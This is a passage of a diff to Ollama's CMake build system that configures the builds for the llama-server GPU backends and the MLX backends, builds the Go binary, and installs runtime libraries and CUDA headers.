-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
|
||||
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
|
||||
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
|
||||
-DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
|
||||
-DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
|
||||
${ARG_CMAKE_ARGS}
|
||||
${_mlx_cache_args}
|
||||
)
|
||||
foreach(_arg IN ITEMS
|
||||
BLAS_INCLUDE_DIRS
|
||||
LAPACK_INCLUDE_DIRS
|
||||
CUDAToolkit_ROOT
|
||||
CUDNN_ROOT_DIR
|
||||
CUDNN_INCLUDE_PATH
|
||||
CUDNN_LIBRARY_PATH
|
||||
CMAKE_CUDA_COMPILER
|
||||
CMAKE_CUDA_HOST_COMPILER
|
||||
CMAKE_INCLUDE_PATH
|
||||
CMAKE_LIBRARY_PATH
|
||||
CMAKE_PREFIX_PATH)
|
||||
ollama_append_cache_arg_if_set(_cmake_args ${_arg})
|
||||
endforeach()
|
||||
|
||||
if(APPLE)
|
||||
if(CMAKE_OSX_ARCHITECTURES)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
|
||||
endif()
|
||||
endif()
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
if(ARG_PRESET)
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
--preset ${ARG_PRESET}
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
endif()
|
||||
|
||||
ExternalProject_Add(ollama-mlx-${name}
|
||||
SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
|
||||
BINARY_DIR ${_build_dir}
|
||||
CONFIGURE_COMMAND ${_configure_command}
|
||||
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
|
||||
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component MLX
|
||||
COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component MLX_VENDOR
|
||||
DEPENDS ollama-mlx-sources
|
||||
LIST_SEPARATOR |
|
||||
BUILD_ALWAYS TRUE
|
||||
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
|
||||
USES_TERMINAL_CONFIGURE TRUE
|
||||
USES_TERMINAL_BUILD TRUE
|
||||
USES_TERMINAL_INSTALL TRUE)
|
||||
endfunction()
|
||||
|
||||
find_program(GO_EXECUTABLE go)
|
||||
|
||||
if(OLLAMA_MLX_BACKENDS)
|
||||
set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
|
||||
set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
|
||||
|
||||
if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
|
||||
add_custom_target(ollama-mlx-generate-wrappers
|
||||
COMMAND ${CMAKE_COMMAND}
|
||||
-DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
|
||||
-DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
|
||||
-P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
|
||||
COMMAND ${CMAKE_COMMAND} -E env
|
||||
CC= CGO_CFLAGS= CGO_CXXFLAGS=
|
||||
${GO_EXECUTABLE} generate ./x/...
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
DEPENDS ollama-mlx-sources
|
||||
COMMENT "Regenerating MLX Go wrappers"
|
||||
VERBATIM)
|
||||
else()
|
||||
add_custom_target(ollama-mlx-generate-wrappers
|
||||
COMMAND ${CMAKE_COMMAND} -E echo
|
||||
"Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
|
||||
COMMAND ${CMAKE_COMMAND} -E false
|
||||
DEPENDS ollama-mlx-sources
|
||||
VERBATIM)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(OLLAMA_HAVE_LLAMA_SERVER)
|
||||
if(NOT OLLAMA_GO_OUTPUT)
|
||||
if(WIN32)
|
||||
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
|
||||
else()
|
||||
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
|
||||
endif()
|
||||
endif()
|
||||
if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
|
||||
set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
|
||||
endif()
|
||||
get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
|
||||
set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
|
||||
get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
|
||||
|
||||
set(OLLAMA_GO_LDFLAGS
|
||||
"-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
|
||||
if(GO_EXECUTABLE)
|
||||
add_custom_target(ollama-go ALL
|
||||
COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
|
||||
COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
|
||||
${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
|
||||
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
|
||||
BYPRODUCTS ${OLLAMA_GO_OUTPUT}
|
||||
COMMENT "Building Ollama Go binary"
|
||||
VERBATIM)
|
||||
else()
|
||||
add_custom_target(ollama-go ALL
|
||||
COMMAND ${CMAKE_COMMAND} -E echo
|
||||
"Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
|
||||
COMMAND ${CMAKE_COMMAND} -E false
|
||||
COMMENT "Building Ollama Go binary"
|
||||
VERBATIM)
|
||||
endif()
|
||||
|
||||
set(_cpu_args)
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
list(APPEND _cpu_args
|
||||
-DBUILD_SHARED_LIBS=OFF
|
||||
-DGGML_BACKEND_DL=OFF
|
||||
-DGGML_METAL=ON
|
||||
-DGGML_METAL_EMBED_LIBRARY=ON)
|
||||
else()
|
||||
list(APPEND _cpu_args
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_CPU_ALL_VARIANTS=ON)
|
||||
if(WIN32)
|
||||
list(APPEND _cpu_args -DGGML_OPENMP=ON)
|
||||
endif()
|
||||
if(APPLE)
|
||||
list(APPEND _cpu_args -DGGML_METAL=OFF)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
ollama_add_llama_server_build(local
|
||||
RUNNER_DIR ""
|
||||
TARGETS llama-server llama-quantize
|
||||
CMAKE_ARGS ${_cpu_args})
|
||||
|
||||
add_custom_target(ollama-local ALL
|
||||
DEPENDS ollama-go ollama-llama-server-local
|
||||
COMMENT "Building local Ollama payload")
|
||||
|
||||
install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
|
||||
DESTINATION "${CMAKE_INSTALL_BINDIR}"
|
||||
COMPONENT ollama-local)
|
||||
endif()
|
||||
|
||||
set(_backend_targets)
|
||||
if(OLLAMA_HAVE_LLAMA_SERVER)
|
||||
foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
|
||||
if(_backend STREQUAL "cuda_v12")
|
||||
ollama_llama_cuda_preset(${_backend} _cuda_preset)
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "cuda_v13")
|
||||
ollama_llama_cuda_preset(${_backend} _cuda_preset)
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
|
||||
# ROCm 7.1 and 7.2 currently share build settings. Keep the backend
|
||||
# names versioned so future packaging can install side-by-side ROCm
|
||||
# payloads without changing the superbuild interface.
|
||||
ollama_rocm_preset(${_backend} _rocm_preset)
|
||||
set(_rocm_args
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_HIP=ON
|
||||
-DCMAKE_HIP_PLATFORM=amd
|
||||
-DOLLAMA_GPU_BACKEND=hip)
|
||||
ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
|
||||
ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
|
||||
ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_rocm_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-hip
|
||||
CMAKE_ARGS ${_rocm_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "vulkan")
|
||||
ollama_add_llama_server_build(vulkan
|
||||
RUNNER_DIR vulkan
|
||||
TARGETS ggml-vulkan
|
||||
CMAKE_ARGS
|
||||
-DBUILD_SHARED_LIBS=ON
|
||||
-DGGML_BACKEND_DL=ON
|
||||
-DGGML_VULKAN=ON
|
||||
-DOLLAMA_GPU_BACKEND=vulkan)
|
||||
list(APPEND _backend_targets ollama-llama-server-vulkan)
|
||||
elseif(_backend STREQUAL "cuda_jetpack5")
|
||||
if(CMAKE_CUDA_ARCHITECTURES)
|
||||
set(_cuda_preset llama_cuda_jetpack5_user_arch)
|
||||
else()
|
||||
set(_cuda_preset llama_cuda_jetpack5)
|
||||
endif()
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
elseif(_backend STREQUAL "cuda_jetpack6")
|
||||
if(CMAKE_CUDA_ARCHITECTURES)
|
||||
set(_cuda_preset llama_cuda_jetpack6_user_arch)
|
||||
else()
|
||||
set(_cuda_preset llama_cuda_jetpack6)
|
||||
endif()
|
||||
set(_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_llama_server_build(${_backend}
|
||||
PRESET ${_cuda_preset}
|
||||
RUNNER_DIR ${_backend}
|
||||
TARGETS ggml-cuda
|
||||
CMAKE_ARGS ${_cuda_args})
|
||||
list(APPEND _backend_targets ollama-llama-server-${_backend})
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
|
||||
endif()
|
||||
endforeach()
|
||||
endif()
|
||||
|
||||
if(_backend_targets)
|
||||
add_custom_target(ollama-llama-server-backends ALL
|
||||
DEPENDS ${_backend_targets}
|
||||
COMMENT "Building llama-server GPU backends")
|
||||
endif()
|
||||
|
||||
set(_mlx_targets)
|
||||
foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
|
||||
if(_backend STREQUAL "cuda_v13")
|
||||
ollama_mlx_cuda_preset(_mlx_cuda_preset)
|
||||
set(_mlx_cuda_args)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
|
||||
ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
|
||||
ollama_add_mlx_build(cuda_v13
|
||||
PRESET ${_mlx_cuda_preset}
|
||||
RUNNER_DIR mlx_cuda_v13
|
||||
CMAKE_ARGS ${_mlx_cuda_args})
|
||||
list(APPEND _mlx_targets ollama-mlx-cuda_v13)
|
||||
elseif(_backend STREQUAL "metal_v3")
|
||||
if(NOT APPLE)
|
||||
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
|
||||
endif()
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_add_mlx_build(metal_v3
|
||||
PRESET mlx_metal_v3
|
||||
RUNNER_DIR mlx_metal_v3)
|
||||
list(APPEND _mlx_targets ollama-mlx-metal_v3)
|
||||
elseif(_backend STREQUAL "metal_v4")
|
||||
if(NOT APPLE)
|
||||
message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
|
||||
endif()
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
|
||||
if(_ollama_mlx_sdk_major AND _ollama_mlx_sdk_major GREATER_EQUAL 26)
|
||||
ollama_add_mlx_build(metal_v4
|
||||
PRESET mlx_metal_v4
|
||||
RUNNER_DIR mlx_metal_v4)
|
||||
list(APPEND _mlx_targets ollama-mlx-metal_v4)
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26 SDK. "
|
||||
"Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
|
||||
endif()
|
||||
else()
|
||||
message(FATAL_ERROR
|
||||
"Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
if(_mlx_targets)
|
||||
add_custom_target(ollama-mlx-backends ALL
|
||||
DEPENDS ${_mlx_targets}
|
||||
COMMENT "Building MLX backends")
|
||||
endif()
|
||||
|
||||
install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
|
||||
DESTINATION "${OLLAMA_LIB_DIR}"
|
||||
COMPONENT ollama-local
|
||||
USE_SOURCE_PERMISSIONS)
|
||||
@@ -0,0 +1,235 @@
|
||||
cmake_minimum_required(VERSION 3.24)
|
||||
|
||||
project(OllamaMLX C CXX)
|
||||
|
||||
include(CheckLanguage)
|
||||
include(GNUInstallDirs)
|
||||
|
||||
find_package(Threads REQUIRED)
|
||||
|
||||
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
|
||||
endif()
|
||||
|
||||
if(NOT DEFINED BUILD_SHARED_LIBS)
|
||||
set(BUILD_SHARED_LIBS ON)
|
||||
endif()
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
set(CMAKE_CXX_EXTENSIONS ON)
|
||||
|
||||
if(APPLE)
|
||||
set(CMAKE_BUILD_RPATH "@loader_path")
|
||||
set(CMAKE_INSTALL_RPATH "@loader_path")
|
||||
set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
|
||||
endif()
|
||||
|
||||
if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
|
||||
endif()
|
||||
get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
|
||||
set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
|
||||
|
||||
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
|
||||
set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
|
||||
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
|
||||
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
|
||||
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
|
||||
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
|
||||
|
||||
if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
|
||||
check_language(CUDA)
|
||||
endif()
|
||||
|
||||
option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
|
||||
|
||||
message(STATUS "Setting up MLX (this takes a while...)")
|
||||
add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
|
||||
|
||||
# Find CUDA toolkit if MLX is built with CUDA support.
|
||||
find_package(CUDAToolkit)
|
||||
|
||||
# Build list of directories for runtime dependency resolution.
|
||||
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
|
||||
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
|
||||
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
|
||||
if(CUDNN_ROOT_DIR)
|
||||
set(_cudnn_root "${CUDNN_ROOT_DIR}")
|
||||
elseif(DEFINED ENV{CUDNN_ROOT_DIR})
|
||||
set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
|
||||
endif()
|
||||
if(_cudnn_root)
|
||||
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
|
||||
file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
|
||||
endif()
|
||||
# Add build output directory and MLX dependency build directories.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
|
||||
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
|
||||
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
|
||||
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
|
||||
# so there is no runtime dependency. This path covers the stub build dir
|
||||
# for windows so we include the DLL in our dependencies.
|
||||
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
|
||||
|
||||
# Base regexes for runtime dependencies (cross-platform).
|
||||
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
|
||||
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
|
||||
if(WIN32)
|
||||
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
|
||||
endif()
|
||||
|
||||
# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
|
||||
# applies to the binaries we build, not vendor DLLs/libs.
|
||||
install(TARGETS mlx mlxc
|
||||
RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
|
||||
DIRECTORIES ${MLX_RUNTIME_DIRS}
|
||||
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
|
||||
PRE_EXCLUDE_REGEXES ".*"
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
|
||||
)
|
||||
|
||||
if(TARGET jaccl)
|
||||
install(TARGETS jaccl
|
||||
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
|
||||
)
|
||||
endif()
|
||||
|
||||
# Install the Metal library for macOS arm64 (must be colocated with the binary).
|
||||
# Metal backend is only built for arm64, not x86_64.
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install headers for NVRTC JIT compilation at runtime.
|
||||
# MLX's own install rules use the default component so they get skipped by
|
||||
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
|
||||
#
|
||||
# Layout:
|
||||
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ - CCCL headers
|
||||
# ${OLLAMA_INSTALL_DIR}/include/*.h - CUDA toolkit headers
|
||||
#
|
||||
# MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir()[.parent_path()] / "include" / "cccl"
|
||||
# On Linux, MLX's jit_module.cpp resolves CCCL via
|
||||
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
|
||||
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include.
|
||||
# This will need refinement if we add multiple CUDA versions for MLX in the future.
|
||||
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
|
||||
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
|
||||
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
|
||||
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
|
||||
# $CUDA_PATH/include/*.h via NVRTC --include-path.
|
||||
if(CUDAToolkit_FOUND)
|
||||
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
|
||||
# (e.g. ".../include;.../include/cccl"). Find the entry that
|
||||
# contains the CUDA runtime headers we need.
|
||||
set(_cuda_inc "")
|
||||
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
|
||||
if(EXISTS "${_dir}/cuda_runtime_api.h")
|
||||
set(_cuda_inc "${_dir}")
|
||||
break()
|
||||
endif()
|
||||
endforeach()
|
||||
if(NOT _cuda_inc)
|
||||
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
|
||||
else()
|
||||
set(_dst "${OLLAMA_INSTALL_DIR}/include")
|
||||
set(_MLX_JIT_CUDA_HEADERS
|
||||
builtin_types.h
|
||||
cooperative_groups.h
|
||||
cuda_bf16.h
|
||||
cuda_bf16.hpp
|
||||
cuda_device_runtime_api.h
|
||||
cuda_fp16.h
|
||||
cuda_fp16.hpp
|
||||
cuda_fp8.h
|
||||
cuda_fp8.hpp
|
||||
cuda_runtime_api.h
|
||||
device_types.h
|
||||
driver_types.h
|
||||
math_constants.h
|
||||
surface_types.h
|
||||
texture_types.h
|
||||
vector_functions.h
|
||||
vector_functions.hpp
|
||||
vector_types.h
|
||||
)
|
||||
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
|
||||
install(FILES "${_cuda_inc}/${_hdr}"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX)
|
||||
endforeach()
|
||||
# Subdirectory headers.
|
||||
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
|
||||
DESTINATION ${_dst}
|
||||
COMPONENT MLX
|
||||
FILES_MATCHING PATTERN "*.h")
|
||||
install(FILES "${_cuda_inc}/crt/host_defines.h"
|
||||
DESTINATION "${_dst}/crt"
|
||||
COMPONENT MLX)
|
||||
if(NOT WIN32 AND NOT APPLE)
|
||||
install(CODE "
|
||||
set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
|
||||
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
|
||||
if(NOT EXISTS \${_link})
|
||||
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
|
||||
endif()
|
||||
" COMPONENT MLX)
|
||||
endif()
|
||||
endif()
|
||||
endif()
|
||||
|
||||
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
|
||||
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
|
||||
# dlfcn-win32 is a known CMake target with its own install rules (which install
|
||||
# to the wrong destination). We must install it explicitly here.
|
||||
if(WIN32)
|
||||
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX)
|
||||
endif()
|
||||
|
||||
# Manually install CUDA runtime libraries that MLX loads via dlopen
|
||||
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
|
||||
if(CUDAToolkit_FOUND)
|
||||
file(GLOB MLX_CUDA_LIBS
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
|
||||
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
|
||||
if(MLX_CUDA_LIBS)
|
||||
install(FILES ${MLX_CUDA_LIBS}
|
||||
DESTINATION ${OLLAMA_INSTALL_DIR}
|
||||
COMPONENT MLX_VENDOR)
|
||||
endif()
|
||||
endif()
|
||||
@@ -0,0 +1,90 @@
|
||||
{
|
||||
"version": 3,
|
||||
"configurePresets": [
|
||||
{
|
||||
"name": "default",
|
||||
"binaryDir": "${sourceDir}/../../build/mlx",
|
||||
"installDir": "${sourceDir}/../../dist",
|
||||
"cacheVariables": {
|
||||
"CMAKE_BUILD_TYPE": "Release",
|
||||
"CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
|
||||
"OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
|
||||
}
